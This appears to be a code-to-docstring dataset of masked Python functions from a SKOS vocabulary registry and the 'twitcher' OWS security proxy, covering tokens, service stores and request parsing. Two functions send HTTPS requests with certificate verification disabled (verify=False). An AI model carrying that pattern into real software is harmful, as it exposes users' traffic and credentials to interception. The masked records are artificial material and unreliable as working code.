should be a dictionary.\n            This dictionary can contain any of the keyword arguments available\n            to the :meth:`get_providers` method. The query will then only\n            be passed to the providers confirming to these arguments.\n        :param string language: Optional. If present, it should be a\n            :term:`language-tag`. This language-tag is passed on to the\n            underlying providers and used when selecting the label to display\n            for each concept.\n        :returns: a list of :class:`dict`.\n            Each dict has two keys: id and concepts.", "id": "f13802:c1:m5"}
{"signature": "def get_all(self, **kwargs):", "body": "kwarguments = {}<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>kwarguments['<STR_LIT>'] = kwargs['<STR_LIT>']<EOL><DEDENT>return [{'<STR_LIT:id>': p.get_vocabulary_id(), '<STR_LIT>': p.get_all(**kwarguments)}<EOL>for p in self.providers.values()]<EOL>", "docstring": "Get all concepts from all providers.\n\n        .. code-block:: python\n\n            # get all concepts in all providers.\n            registry.get_all()\n\n            # get all concepts in all providers.\n            # If possible, display the results with a Dutch label.\n            registry.get_all(language='nl')\n\n        :param string language: Optional. If present, it should be a\n            :term:`language-tag`. This language-tag is passed on to the\n            underlying providers and used when selecting the label to display\n            for each concept.\n\n        :returns: a list of :class:`dict`.\n            Each dict has two keys: id and concepts.", "id": "f13802:c1:m6"}
{"signature": "def get_by_uri(self, uri):", "body": "if not is_uri(uri):<EOL><INDENT>raise ValueError('<STR_LIT>' % uri)<EOL><DEDENT>csuris = [csuri for csuri in self.concept_scheme_uri_map.keys() if uri.startswith(csuri)]<EOL>for csuri in csuris:<EOL><INDENT>c = self.get_provider(csuri).get_by_uri(uri)<EOL>if c:<EOL><INDENT>return c<EOL><DEDENT><DEDENT>for p in self.providers.values():<EOL><INDENT>c = p.get_by_uri(uri)<EOL>if c:<EOL><INDENT>return c<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Get a concept or collection by its uri.\n\n        Returns a single concept or collection if one exists with this uri.\n        Returns False otherwise.\n\n        :param string uri: The uri to find a concept or collection for.\n        :raises ValueError: The uri is invalid.\n        :rtype: :class:`skosprovider.skos.Concept` or\n            :class:`skosprovider.skos.Collection`", "id": "f13802:c1:m7"}
{"signature": "def dict_dumper(provider):", "body": "ret = []<EOL>for stuff in provider.get_all():<EOL><INDENT>c = provider.get_by_id(stuff['<STR_LIT:id>'])<EOL>labels = [l.__dict__ for l in c.labels]<EOL>notes = [n.__dict__ for n in c.notes]<EOL>sources = [s.__dict__ for s in c.sources]<EOL>if isinstance(c, Concept):<EOL><INDENT>ret.append({<EOL>'<STR_LIT:id>': c.id,<EOL>'<STR_LIT>': c.uri,<EOL>'<STR_LIT:type>': c.type,<EOL>'<STR_LIT>': labels,<EOL>'<STR_LIT>': notes,<EOL>'<STR_LIT>': sources,<EOL>'<STR_LIT>': c.narrower,<EOL>'<STR_LIT>': c.broader,<EOL>'<STR_LIT>': c.related,<EOL>'<STR_LIT>': c.member_of,<EOL>'<STR_LIT>': c.subordinate_arrays,<EOL>'<STR_LIT>': c.matches<EOL>})<EOL><DEDENT>elif isinstance(c, Collection):<EOL><INDENT>ret.append({<EOL>'<STR_LIT:id>': c.id,<EOL>'<STR_LIT>': c.uri,<EOL>'<STR_LIT:type>': c.type,<EOL>'<STR_LIT>': labels,<EOL>'<STR_LIT>': notes,<EOL>'<STR_LIT>': sources,<EOL>'<STR_LIT>': c.members,<EOL>'<STR_LIT>': c.member_of,<EOL>'<STR_LIT>': c.superordinates<EOL>})<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Dump a provider to a format that can be passed to a\n:class:`skosprovider.providers.DictionaryProvider`.\n\n:param skosprovider.providers.VocabularyProvider provider: The provider\n    that wil be turned into a `dict`.\n:rtype: A list of dicts.\n\n.. versionadded:: 0.2.0", "id": "f13803:m0"}
{"signature": "def __init__(self, message):", "body": "self.message = message<EOL>", "docstring": ":param message: More information about the exception.", "id": "f13804:c0:m0"}
{"signature": "def includeme(config):", "body": "settings = config.registry.settings<EOL>if asbool(settings.get('<STR_LIT>', True)):<EOL><INDENT>LOGGER.debug('<STR_LIT>')<EOL>config.include('<STR_LIT>')<EOL>config.include('<STR_LIT>')<EOL>config.include('<STR_LIT>')<EOL>config.include('<STR_LIT>')<EOL>config.add_xmlrpc_endpoint('<STR_LIT>', '<STR_LIT>')<EOL>config.add_xmlrpc_method(RPCInterface, attr='<STR_LIT>', endpoint='<STR_LIT>', method='<STR_LIT>')<EOL>config.add_xmlrpc_method(RPCInterface, attr='<STR_LIT>', endpoint='<STR_LIT>', method='<STR_LIT>')<EOL>config.add_xmlrpc_method(RPCInterface, attr='<STR_LIT>', endpoint='<STR_LIT>', method='<STR_LIT>')<EOL>config.add_xmlrpc_method(RPCInterface, attr='<STR_LIT>', endpoint='<STR_LIT>', method='<STR_LIT>')<EOL>config.add_xmlrpc_method(RPCInterface, attr='<STR_LIT>', endpoint='<STR_LIT>', method='<STR_LIT>')<EOL>config.add_xmlrpc_method(RPCInterface, attr='<STR_LIT>', endpoint='<STR_LIT>', method='<STR_LIT>')<EOL>config.add_xmlrpc_method(RPCInterface, attr='<STR_LIT>', endpoint='<STR_LIT>', method='<STR_LIT>')<EOL>config.add_xmlrpc_method(RPCInterface, attr='<STR_LIT>', endpoint='<STR_LIT>', method='<STR_LIT>')<EOL>config.add_xmlrpc_method(RPCInterface, attr='<STR_LIT>', endpoint='<STR_LIT>', method='<STR_LIT>')<EOL><DEDENT>", "docstring": "The callable makes it possible to include rpcinterface\n    in a Pyramid application.\n\n    Calling ``config.include(twitcher.rpcinterface)`` will result in this\n    callable being called.\n\n    Arguments:\n\n    * ``config``: the ``pyramid.config.Configurator`` object.", "id": "f13833:m0"}
{"signature": "def generate_token(self, valid_in_hours=<NUM_LIT:1>, environ=None):", "body": "return self.tokenmgr.generate_token(valid_in_hours, environ)<EOL>", "docstring": "Implementation of :meth:`twitcher.api.ITokenManager.generate_token`.", "id": "f13833:c0:m1"}
{"signature": "def revoke_token(self, token):", "body": "return self.tokenmgr.revoke_token(token)<EOL>", "docstring": "Implementation of :meth:`twitcher.api.ITokenManager.revoke_token`.", "id": "f13833:c0:m2"}
{"signature": "def revoke_all_tokens(self):", "body": "return self.tokenmgr.revoke_all_tokens()<EOL>", "docstring": "Implementation of :meth:`twitcher.api.ITokenManager.revoke_all_tokens`.", "id": "f13833:c0:m3"}
{"signature": "def register_service(self, url, data=None, overwrite=True):", "body": "return self.srvreg.register_service(url, data, overwrite)<EOL>", "docstring": "Implementation of :meth:`twitcher.api.IRegistry.register_service`.", "id": "f13833:c0:m4"}
{"signature": "def unregister_service(self, name):", "body": "return self.srvreg.unregister_service(name)<EOL>", "docstring": "Implementation of :meth:`twitcher.api.IRegistry.unregister_service`.", "id": "f13833:c0:m5"}
{"signature": "def get_service_by_name(self, name):", "body": "return self.srvreg.get_service_by_name(name)<EOL>", "docstring": "Implementation of :meth:`twitcher.api.IRegistry.get_service_by_name`.", "id": "f13833:c0:m6"}
{"signature": "def get_service_by_url(self, url):", "body": "return self.srvreg.get_service_by_url(url)<EOL>", "docstring": "Implementation of :meth:`twitcher.api.IRegistry.get_service_by_url`.", "id": "f13833:c0:m7"}
{"signature": "def list_services(self):", "body": "return self.srvreg.list_services()<EOL>", "docstring": "Implementation of :meth:`twitcher.api.IRegistry.list_services`.", "id": "f13833:c0:m8"}
{"signature": "def clear_services(self):", "body": "return self.srvreg.clear_services()<EOL>", "docstring": "Implementation of :meth:`twitcher.api.IRegistry.clear_services`.", "id": "f13833:c0:m9"}
{"signature": "def owsproxy(request):", "body": "try:<EOL><INDENT>service_name = request.matchdict.get('<STR_LIT>')<EOL>extra_path = request.matchdict.get('<STR_LIT>')<EOL>store = servicestore_factory(request.registry)<EOL>service = store.fetch_by_name(service_name)<EOL><DEDENT>except Exception as err:<EOL><INDENT>return OWSAccessFailed(\"<STR_LIT>\".format(service_name, err.message))<EOL><DEDENT>else:<EOL><INDENT>return _send_request(request, service, extra_path, request_params=request.query_string)<EOL><DEDENT>", "docstring": "TODO: use ows exceptions", "id": "f13836:m1"}
{"signature": "def owsproxy_delegate(request):", "body": "twitcher_url = request.registry.settings.get('<STR_LIT>')<EOL>protected_path = request.registry.settings.get('<STR_LIT>', '<STR_LIT>')<EOL>url = twitcher_url + protected_path + '<STR_LIT>'<EOL>if request.matchdict.get('<STR_LIT>'):<EOL><INDENT>url += '<STR_LIT:/>' + request.matchdict.get('<STR_LIT>')<EOL>if request.matchdict.get('<STR_LIT>'):<EOL><INDENT>url += '<STR_LIT:/>' + request.matchdict.get('<STR_LIT>')<EOL><DEDENT><DEDENT>url += '<STR_LIT:?>' + urlparse.urlencode(request.params)<EOL>LOGGER.debug(\"<STR_LIT>\", url)<EOL>resp = requests.request(method=request.method.upper(), url=url, data=request.body,<EOL>headers=request.headers, verify=False)<EOL>return Response(resp.content, status=resp.status_code, headers=resp.headers)<EOL>", "docstring": "Delegates owsproxy request to external twitcher service.", "id": "f13836:m2"}
{"signature": "def create_access_token(self, valid_in_hours=<NUM_LIT:1>, data=None):", "body": "data = data or {}<EOL>token = AccessToken(<EOL>token=self.generate(),<EOL>expires_at=expires_at(hours=valid_in_hours),<EOL>data=data)<EOL>return token<EOL>", "docstring": "Creates an access token.\n\nTODO: check valid in hours\nTODO: maybe specify how often a token can be used", "id": "f13838:c0:m0"}
{"signature": "def generate(self):", "body": "return uuid.uuid4().get_hex()<EOL>", "docstring": ":return: A new token", "id": "f13838:c1:m0"}
{"signature": "def _retrieve_certificate(self, access_token, timeout=<NUM_LIT:3>):", "body": "logger.debug(\"<STR_LIT>\")<EOL>key_pair = crypto.PKey()<EOL>key_pair.generate_key(crypto.TYPE_RSA, <NUM_LIT>)<EOL>private_key = crypto.dump_privatekey(crypto.FILETYPE_PEM, key_pair).decode(\"<STR_LIT:utf-8>\")<EOL>cert_request = crypto.X509Req()<EOL>cert_request.set_pubkey(key_pair)<EOL>cert_request.sign(key_pair, '<STR_LIT>')<EOL>der_cert_req = crypto.dump_certificate_request(crypto.FILETYPE_ASN1, cert_request)<EOL>encoded_cert_req = base64.b64encode(der_cert_req)<EOL>token = {'<STR_LIT>': access_token, '<STR_LIT>': '<STR_LIT>'}<EOL>client = OAuth2Session(token=token)<EOL>response = client.post(<EOL>self.certificate_url,<EOL>data={'<STR_LIT>': encoded_cert_req},<EOL>verify=False,<EOL>timeout=timeout,<EOL>)<EOL>if response.ok:<EOL><INDENT>content = \"<STR_LIT>\".format(response.text, private_key)<EOL>with open(self.esgf_credentials, '<STR_LIT:w>') as fh:<EOL><INDENT>fh.write(content)<EOL><DEDENT>logger.debug('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>msg = \"<STR_LIT>\".format(response.status_code, response.reason)<EOL>raise Exception(msg)<EOL><DEDENT>return True<EOL>", "docstring": "Generates a new private key and certificate request, submits the request to be\nsigned by the SLCS CA and returns the certificate.", "id": "f13839:c0:m3"}
{"signature": "def main(global_config, **settings):", "body": "from pyramid.config import Configurator<EOL>config = Configurator(settings=settings)<EOL>config.include('<STR_LIT>')<EOL>config.include('<STR_LIT>')<EOL>config.include('<STR_LIT>')<EOL>config.include('<STR_LIT>')<EOL>config.include('<STR_LIT>')<EOL>config.scan()<EOL>return config.make_wsgi_app()<EOL>", "docstring": "This function returns a Pyramid WSGI application.", "id": "f13840:m0"}
{"signature": "def ows_security_tween_factory(handler, registry):", "body": "security = owssecurity_factory(registry)<EOL>def ows_security_tween(request):<EOL><INDENT>try:<EOL><INDENT>security.check_request(request)<EOL>return handler(request)<EOL><DEDENT>except OWSException as err:<EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL>return err<EOL><DEDENT>except Exception as err:<EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL>return OWSNoApplicableCode(\"<STR_LIT:{}>\".format(err))<EOL><DEDENT><DEDENT>return ows_security_tween<EOL>", "docstring": "A tween factory which produces a tween which raises an exception\n    if access to OWS service is not allowed.", "id": "f13843:m1"}
{"signature": "def now_secs():", "body": "return int(time.time())<EOL>", "docstring": "Return the current time in seconds since the Epoch.", "id": "f13844:m3"}
{"signature": "def localize_datetime(dt, tz_name='<STR_LIT>'):", "body": "tz_aware_dt = dt<EOL>if dt.tzinfo is None:<EOL><INDENT>utc = pytz.timezone('<STR_LIT>')<EOL>aware = utc.localize(dt)<EOL>timezone = pytz.timezone(tz_name)<EOL>tz_aware_dt = aware.astimezone(timezone)<EOL><DEDENT>else:<EOL><INDENT>logger.warn('<STR_LIT>')<EOL><DEDENT>return tz_aware_dt<EOL>", "docstring": "Provide a timzeone-aware object for a given datetime and timezone name", "id": "f13844:m5"}
{"signature": "def baseurl(url):", "body": "parsed_url = urlparse.urlparse(url)<EOL>if not parsed_url.netloc or parsed_url.scheme not in (\"<STR_LIT:http>\", \"<STR_LIT>\"):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>service_url = \"<STR_LIT>\" % (parsed_url.scheme, parsed_url.netloc, parsed_url.path.strip())<EOL>return service_url<EOL>", "docstring": "return baseurl of given url", "id": "f13844:m6"}
{"signature": "@property<EOL><INDENT>def url(self):<DEDENT>", "body": "return self['<STR_LIT:url>']<EOL>", "docstring": "Service URL.", "id": "f13845:c0:m1"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return self.get('<STR_LIT:name>', '<STR_LIT>')<EOL>", "docstring": "Service name.", "id": "f13845:c0:m2"}
{"signature": "@property<EOL><INDENT>def type(self):<DEDENT>", "body": "return self.get('<STR_LIT:type>', '<STR_LIT>')<EOL>", "docstring": "Service type.", "id": "f13845:c0:m3"}
{"signature": "@property<EOL><INDENT>def purl(self):<DEDENT>", "body": "return self.get('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Service optional public URL (purl).", "id": "f13845:c0:m4"}
{"signature": "def has_purl(self):", "body": "return is_valid_url(self.purl)<EOL>", "docstring": "Return true if we have a valid public URL (purl).", "id": "f13845:c0:m5"}
{"signature": "@property<EOL><INDENT>def public(self):<DEDENT>", "body": "<EOL>return self.get('<STR_LIT>', False)<EOL>", "docstring": "Flag if service has public access.", "id": "f13845:c0:m6"}
{"signature": "@property<EOL><INDENT>def auth(self):<DEDENT>", "body": "return self.get('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Authentication method: public, token, cert.", "id": "f13845:c0:m7"}
{"signature": "@property<EOL><INDENT>def verify(self):<DEDENT>", "body": "value = self.get('<STR_LIT>', '<STR_LIT:true>')<EOL>if isinstance(value, bool):<EOL><INDENT>verify = value<EOL><DEDENT>elif value.lower() == '<STR_LIT:true>':<EOL><INDENT>verify = True<EOL><DEDENT>elif value.lower() == '<STR_LIT:false>':<EOL><INDENT>verify = False<EOL><DEDENT>else:<EOL><INDENT>verify = value<EOL><DEDENT>return verify<EOL>", "docstring": "Verify ssl service certificate.", "id": "f13845:c0:m8"}
{"signature": "@property<EOL><INDENT>def token(self):<DEDENT>", "body": "return self['<STR_LIT>']<EOL>", "docstring": "Access token string.", "id": "f13845:c1:m1"}
{"signature": "@property<EOL><INDENT>def expires_in(self):<DEDENT>", "body": "time_left = self.expires_at - now_secs()<EOL>if time_left > <NUM_LIT:0>:<EOL><INDENT>return time_left<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Returns the time until the token expires.\n:return: The remaining time until expiration in seconds or 0 if the\n         token has expired.", "id": "f13845:c1:m3"}
{"signature": "def is_expired(self):", "body": "if self.expires_at is None:<EOL><INDENT>return True<EOL><DEDENT>if self.expires_in > <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Determines if the token has expired.\n:return: `True` if the token has expired. Otherwise `False`.", "id": "f13845:c1:m4"}
{"signature": "def save_token(self, access_token):", "body": "raise NotImplementedError<EOL>", "docstring": "Stores an access token with additional data.", "id": "f13846:c0:m0"}
{"signature": "def delete_token(self, token):", "body": "raise NotImplementedError<EOL>", "docstring": "Deletes an access token from the store using its token string to identify it.\nThis invalidates both the access token and the token.\n\n:param token: A string containing the token.\n:return: None.", "id": "f13846:c0:m1"}
{"signature": "def fetch_by_token(self, token):", "body": "raise NotImplementedError<EOL>", "docstring": "Fetches an access token from the store using its token string to\nidentify it.\n\n:param token: A string containing the token.\n:return: An instance of :class:`twitcher.datatype.AccessToken`.", "id": "f13846:c0:m2"}
{"signature": "def clear_tokens(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Removes all tokens from database.", "id": "f13846:c0:m3"}
{"signature": "def save_service(self, service, overwrite=True):", "body": "raise NotImplementedError<EOL>", "docstring": "Stores an OWS service in storage.\n\n:param service: An instance of :class:`twitcher.datatype.Service`.", "id": "f13846:c1:m0"}
{"signature": "def delete_service(self, name):", "body": "raise NotImplementedError<EOL>", "docstring": "Removes service from database.", "id": "f13846:c1:m1"}
{"signature": "def list_services(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Lists all services in database.", "id": "f13846:c1:m2"}
{"signature": "def fetch_by_name(self, name):", "body": "raise NotImplementedError<EOL>", "docstring": "Get service for given ``name`` from storage.\n\n:param token: A string containing the service name.\n:return: An instance of :class:`twitcher.datatype.Service`.", "id": "f13846:c1:m3"}
{"signature": "def fetch_by_url(self, url):", "body": "raise NotImplementedError<EOL>", "docstring": "Get service for given ``url`` from storage.\n\n:param token: A string containing the service url.\n:return: An instance of :class:`twitcher.datatype.Service`.", "id": "f13846:c1:m4"}
{"signature": "def clear_services(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Removes all OWS services from storage.", "id": "f13846:c1:m5"}
{"signature": "def save_service(self, service, overwrite=True):", "body": "name = namesgenerator.get_sane_name(service.name)<EOL>if not name:<EOL><INDENT>name = namesgenerator.get_random_name()<EOL>if self.collection.count_documents({'<STR_LIT:name>': name}) > <NUM_LIT:0>:<EOL><INDENT>name = namesgenerator.get_random_name(retry=True)<EOL><DEDENT><DEDENT>if self.collection.count_documents({'<STR_LIT:name>': name}) > <NUM_LIT:0>:<EOL><INDENT>if overwrite:<EOL><INDENT>self.collection.delete_one({'<STR_LIT:name>': name})<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self.collection.insert_one(Service(<EOL>name=name,<EOL>url=baseurl(service.url),<EOL>type=service.type,<EOL>purl=service.purl,<EOL>public=service.public,<EOL>auth=service.auth,<EOL>verify=service.verify))<EOL>return self.fetch_by_name(name=name)<EOL>", "docstring": "Stores an OWS service in mongodb.", "id": "f13847:c2:m0"}
{"signature": "def delete_service(self, name):", "body": "self.collection.delete_one({'<STR_LIT:name>': name})<EOL>return True<EOL>", "docstring": "Removes service from mongodb storage.", "id": "f13847:c2:m1"}
{"signature": "def list_services(self):", "body": "my_services = []<EOL>for service in self.collection.find().sort('<STR_LIT:name>', pymongo.ASCENDING):<EOL><INDENT>my_services.append(Service(service))<EOL><DEDENT>return my_services<EOL>", "docstring": "Lists all services in mongodb storage.", "id": "f13847:c2:m2"}
{"signature": "def fetch_by_name(self, name):", "body": "service = self.collection.find_one({'<STR_LIT:name>': name})<EOL>if not service:<EOL><INDENT>raise ServiceNotFound<EOL><DEDENT>return Service(service)<EOL>", "docstring": "Gets service for given ``name`` from mongodb storage.", "id": "f13847:c2:m3"}
{"signature": "def fetch_by_url(self, url):", "body": "service = self.collection.find_one({'<STR_LIT:url>': url})<EOL>if not service:<EOL><INDENT>raise ServiceNotFound<EOL><DEDENT>return Service(service)<EOL>", "docstring": "Gets service for given ``url`` from mongodb storage.", "id": "f13847:c2:m4"}
{"signature": "def clear_services(self):", "body": "self.collection.drop()<EOL>return True<EOL>", "docstring": "Removes all OWS services from mongodb storage.", "id": "f13847:c2:m5"}
{"signature": "def save_service(self, service, overwrite=True):", "body": "name = namesgenerator.get_sane_name(service.name)<EOL>if not name:<EOL><INDENT>name = namesgenerator.get_random_name()<EOL>if name in self.name_index:<EOL><INDENT>name = namesgenerator.get_random_name(retry=True)<EOL><DEDENT><DEDENT>if name in self.name_index:<EOL><INDENT>if overwrite:<EOL><INDENT>self._delete(name=name)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self._insert(Service(<EOL>name=name,<EOL>url=baseurl(service.url),<EOL>type=service.type,<EOL>purl=service.purl,<EOL>public=service.public,<EOL>auth=service.auth,<EOL>verify=service.verify))<EOL>return self.fetch_by_name(name=name)<EOL>", "docstring": "Store an OWS service in database.", "id": "f13848:c1:m3"}
{"signature": "def delete_service(self, name):", "body": "self._delete(name=name)<EOL>return True<EOL>", "docstring": "Removes service from registry database.", "id": "f13848:c1:m4"}
{"signature": "def list_services(self):", "body": "my_services = []<EOL>for service in self.name_index.values():<EOL><INDENT>my_services.append(Service(service))<EOL><DEDENT>return my_services<EOL>", "docstring": "Lists all services in memory storage.", "id": "f13848:c1:m5"}
{"signature": "def fetch_by_name(self, name):", "body": "service = self.name_index.get(name)<EOL>if not service:<EOL><INDENT>raise ServiceNotFound<EOL><DEDENT>return Service(service)<EOL>", "docstring": "Get service for given ``name`` from memory storage.", "id": "f13848:c1:m6"}
{"signature": "def clear_services(self):", "body": "self.name_index = {}<EOL>return True<EOL>", "docstring": "Removes all OWS services from memory storage.", "id": "f13848:c1:m8"}
{"signature": "def tokenstore_factory(registry, database=None):", "body": "database = database or '<STR_LIT>'<EOL>if database == '<STR_LIT>':<EOL><INDENT>db = _mongodb(registry)<EOL>store = MongodbTokenStore(db.tokens)<EOL><DEDENT>else:<EOL><INDENT>store = MemoryTokenStore()<EOL><DEDENT>return store<EOL>", "docstring": "Creates a token store with the interface of :class:`twitcher.store.AccessTokenStore`.\nBy default the mongodb implementation will be used.\n\n:param database: A string with the store implementation name: \"mongodb\" or \"memory\".\n:return: An instance of :class:`twitcher.store.AccessTokenStore`.", "id": "f13849:m0"}
{"signature": "def servicestore_factory(registry, database=None):", "body": "database = database or '<STR_LIT>'<EOL>if database == '<STR_LIT>':<EOL><INDENT>db = _mongodb(registry)<EOL>store = MongodbServiceStore(collection=db.services)<EOL><DEDENT>else:<EOL><INDENT>store = MemoryServiceStore()<EOL><DEDENT>return store<EOL>", "docstring": "Creates a service store with the interface of :class:`twitcher.store.ServiceStore`.\nBy default the mongodb implementation will be used.\n\n:return: An instance of :class:`twitcher.store.ServiceStore`.", "id": "f13849:m1"}
{"signature": "def generate_token(self, valid_in_hours=<NUM_LIT:1>, data=None):", "body": "raise NotImplementedError<EOL>", "docstring": "Generates an access token which is valid for ``valid_in_hours``.\n\nArguments:\n\n* :param valid_in_hours: an int with number of hours the token is valid.\n* :param data: a dict with extra data used with this token.\n\nPossible keys: ``esgf_access_token``, ``esgf_slcs_service_url`` or ``esgf_credentials``.", "id": "f13850:c0:m0"}
{"signature": "def revoke_token(self, token):", "body": "raise NotImplementedError<EOL>", "docstring": "Remove token from tokenstore.", "id": "f13850:c0:m1"}
{"signature": "def revoke_all_tokens(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Removes all tokens from tokenstore.", "id": "f13850:c0:m2"}
{"signature": "def register_service(self, url, data, overwrite):", "body": "raise NotImplementedError<EOL>", "docstring": "Adds an OWS service with the given ``url`` to the service store.\n\n:param data: a dict with additional information like ``name``.", "id": "f13850:c1:m0"}
{"signature": "def unregister_service(self, name):", "body": "raise NotImplementedError<EOL>", "docstring": "Removes OWS service with the given ``name`` from the service store.", "id": "f13850:c1:m1"}
{"signature": "def get_service_by_name(self, name):", "body": "raise NotImplementedError<EOL>", "docstring": "Gets service with given ``name`` from service store.", "id": "f13850:c1:m2"}
{"signature": "def get_service_by_url(self, url):", "body": "raise NotImplementedError<EOL>", "docstring": "Gets service with given ``url`` from service store.", "id": "f13850:c1:m3"}
{"signature": "def list_services(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Lists all registred OWS services.", "id": "f13850:c1:m4"}
{"signature": "def clear_services(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Removes all services from the service store.", "id": "f13850:c1:m5"}
{"signature": "def generate_token(self, valid_in_hours=<NUM_LIT:1>, data=None):", "body": "data = data or {}<EOL>access_token = self.tokengenerator.create_access_token(<EOL>valid_in_hours=valid_in_hours,<EOL>data=data,<EOL>)<EOL>self.store.save_token(access_token)<EOL>return access_token.params<EOL>", "docstring": "Implementation of :meth:`twitcher.api.ITokenManager.generate_token`.", "id": "f13850:c2:m1"}
{"signature": "def revoke_token(self, token):", "body": "try:<EOL><INDENT>self.store.delete_token(token)<EOL><DEDENT>except Exception:<EOL><INDENT>LOGGER.exception('<STR_LIT>')<EOL>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Implementation of :meth:`twitcher.api.ITokenManager.revoke_token`.", "id": "f13850:c2:m2"}
{"signature": "def revoke_all_tokens(self):", "body": "try:<EOL><INDENT>self.store.clear_tokens()<EOL><DEDENT>except Exception:<EOL><INDENT>LOGGER.exception('<STR_LIT>')<EOL>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Implementation of :meth:`twitcher.api.ITokenManager.revoke_all_tokens`.", "id": "f13850:c2:m3"}
{"signature": "def register_service(self, url, data=None, overwrite=True):", "body": "data = data or {}<EOL>args = dict(data)<EOL>args['<STR_LIT:url>'] = url<EOL>service = Service(**args)<EOL>service = self.store.save_service(service, overwrite=overwrite)<EOL>return service.params<EOL>", "docstring": "Implementation of :meth:`twitcher.api.IRegistry.register_service`.", "id": "f13850:c3:m1"}
{"signature": "def unregister_service(self, name):", "body": "try:<EOL><INDENT>self.store.delete_service(name=name)<EOL><DEDENT>except Exception:<EOL><INDENT>LOGGER.exception('<STR_LIT>')<EOL>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Implementation of :meth:`twitcher.api.IRegistry.unregister_service`.", "id": "f13850:c3:m2"}
{"signature": "def get_service_by_name(self, name):", "body": "try:<EOL><INDENT>service = self.store.fetch_by_name(name=name)<EOL><DEDENT>except Exception:<EOL><INDENT>LOGGER.error('<STR_LIT>', name)<EOL>return {}<EOL><DEDENT>else:<EOL><INDENT>return service.params<EOL><DEDENT>", "docstring": "Implementation of :meth:`twitcher.api.IRegistry.get_service_by_name`.", "id": "f13850:c3:m3"}
{"signature": "def get_service_by_url(self, url):", "body": "try:<EOL><INDENT>service = self.store.fetch_by_url(url=url)<EOL><DEDENT>except Exception:<EOL><INDENT>LOGGER.error('<STR_LIT>', url)<EOL>return {}<EOL><DEDENT>else:<EOL><INDENT>return service.params<EOL><DEDENT>", "docstring": "Implementation of :meth:`twitcher.api.IRegistry.get_service_by_url`.", "id": "f13850:c3:m4"}
{"signature": "def list_services(self):", "body": "try:<EOL><INDENT>services = [service.params for service in self.store.list_services()]<EOL><DEDENT>except Exception:<EOL><INDENT>LOGGER.error('<STR_LIT>')<EOL>return []<EOL><DEDENT>else:<EOL><INDENT>return services<EOL><DEDENT>", "docstring": "Implementation of :meth:`twitcher.api.IRegistry.list_services`.", "id": "f13850:c3:m5"}
{"signature": "def clear_services(self):", "body": "try:<EOL><INDENT>self.store.clear_services()<EOL><DEDENT>except Exception:<EOL><INDENT>LOGGER.error('<STR_LIT>')<EOL>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Implementation of :meth:`twitcher.api.IRegistry.clear_services`.", "id": "f13850:c3:m6"}
{"signature": "def _get_param(self, param, allowed_values=None, optional=False):", "body": "request_params = self._request_params()<EOL>if param in request_params:<EOL><INDENT>value = request_params[param].lower()<EOL>if allowed_values is not None:<EOL><INDENT>if value in allowed_values:<EOL><INDENT>self.params[param] = value<EOL><DEDENT>else:<EOL><INDENT>raise OWSInvalidParameterValue(\"<STR_LIT>\" % (param, value), value=param)<EOL><DEDENT><DEDENT><DEDENT>elif optional:<EOL><INDENT>self.params[param] = None<EOL><DEDENT>else:<EOL><INDENT>raise OWSMissingParameterValue('<STR_LIT>' % param, value=param)<EOL><DEDENT>return self.params[param]<EOL>", "docstring": "Get parameter in GET request.", "id": "f13851:c2:m1"}
{"signature": "def _get_service(self):", "body": "return self._get_param(param=\"<STR_LIT>\", allowed_values=allowed_service_types)<EOL>", "docstring": "Check mandatory service name parameter in GET request.", "id": "f13851:c2:m2"}
{"signature": "def _get_request_type(self):", "body": "return self._get_param(param=\"<STR_LIT>\", allowed_values=allowed_request_types[self.params['<STR_LIT>']])<EOL>", "docstring": "Find requested request type in GET request.", "id": "f13851:c2:m3"}
{"signature": "def _get_version(self):", "body": "version = self._get_param(param=\"<STR_LIT:version>\", allowed_values=allowed_versions[self.params['<STR_LIT>']],<EOL>optional=True)<EOL>if version is None and self._get_request_type() != \"<STR_LIT>\":<EOL><INDENT>raise OWSMissingParameterValue('<STR_LIT>', value=\"<STR_LIT:version>\")<EOL><DEDENT>else:<EOL><INDENT>return version<EOL><DEDENT>", "docstring": "Find requested version in GET request.", "id": "f13851:c2:m4"}
{"signature": "def _get_service(self):", "body": "if \"<STR_LIT>\" in self.document.attrib:<EOL><INDENT>value = self.document.attrib[\"<STR_LIT>\"].lower()<EOL>if value in allowed_service_types:<EOL><INDENT>self.params[\"<STR_LIT>\"] = value<EOL><DEDENT>else:<EOL><INDENT>raise OWSInvalidParameterValue(\"<STR_LIT>\" % value, value=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OWSMissingParameterValue('<STR_LIT>', value=\"<STR_LIT>\")<EOL><DEDENT>return self.params[\"<STR_LIT>\"]<EOL>", "docstring": "Check mandatory service name parameter in POST request.", "id": "f13851:c3:m1"}
